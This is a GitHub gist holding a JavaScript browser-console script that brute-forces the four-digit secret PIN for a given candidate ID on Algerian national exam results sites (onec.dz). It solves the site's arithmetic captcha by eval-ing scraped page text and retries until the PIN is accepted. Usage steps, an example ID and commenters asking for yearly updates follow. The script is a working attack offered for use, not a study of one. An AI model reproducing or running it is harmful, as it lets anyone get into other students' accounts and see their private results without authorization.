Skip to content

Instantly share code, notes, and snippets.

@iMrDJAi
Last active July 17, 2023 15:06
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save iMrDJAi/ce9de43b5795c8ac2747269c5da0fcdb to your computer and use it in GitHub Desktop.
Save iMrDJAi/ce9de43b5795c8ac2747269c5da0fcdb to your computer and use it in GitHub Desktop.
onec.dz bruteforce scripts.
async function bruteforce(id, pass) {
pass = ('0000' + pass).slice(-4)
const resc = await (async function f() {
try {
const res = await (await fetch(`${window.location.href.replace(/\/+$/, '')}/resc/`)).text()
const match = res.match(/(\d+(?:\+|\-)\d+)[\s\S]+value=(.+)>/)
if (match) {
return {
formula: match[1],
solution: eval(match[1]),
token: match[2]
}
} else {
await new Promise(res => setTimeout(() => res(), 200))
return await f()
}
} catch {
await new Promise(res => setTimeout(() => res(), 200))
return await f()
}
})()
const result = await (async function f() {
try {
const res = await (await fetch(`${window.location.href.replace(/\/+$/, '')}/res/?&mat=${id}&pwd=${pass}&cap=${resc.solution}&token=${resc.token}`)).text()
return res
} catch {
await new Promise(res => setTimeout(() => res(), 200))
return await f()
}
})()
console.log(id + ', ' + pass + ': ', result)
if (result == '0' || result == '1') {
await new Promise(res => setTimeout(() => res(), 500))
bruteforce(id, pass)
} else if (result == '2') {
bruteforce(id, + pass + 1)
}
}
//Compatible with:
// cinq.onec.dz
// bem.onec.dz
// bac.onec.dz
// www.onec.dz/res20XX
//Usage:
//1- Paste the code on browser console (ctrl + shift + i / F12) at the results site.
//2- Execute (Paste that line) "bruteforce(ID, PASSWORD)":
// => Where ID is the target ID (رقم التسجيل)
// => And PASSWORD is a number between "0000" and "9999" (the range start point) (الرقم السري)
//Example:
// bruteforce("72002635", "0000")
@Yasteneprog
Copy link

@iMrDJAi مستقبلاhttp://www.onec.dz/res2022/ اتمنى انك تعدل السكربت حتى يمكن استخدامه مع

@iMrDJAi
Copy link
Author

iMrDJAi commented Jul 22, 2022

@alge2005 @Yasteneprog The script has been updated. However, I decided not to maintain/update it from now on. So please consider learning scripting and trying yourself instead of requesting people to do it for you and to annoy them. 🙄

Seriously it wasn't hard to modify it, it was all about replacing fetch('https://bac.onec.dz/... with fetch('http://www.onec.dz/res2020/....

@Yasteneprog
Copy link

sorry bro to bother you im learning html and css and i tried changing it last 2 months maybe it didnt work , But thanks a lot bro ,

@Salahdidinn
Copy link

ممكن تحديث السكربت 2023

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment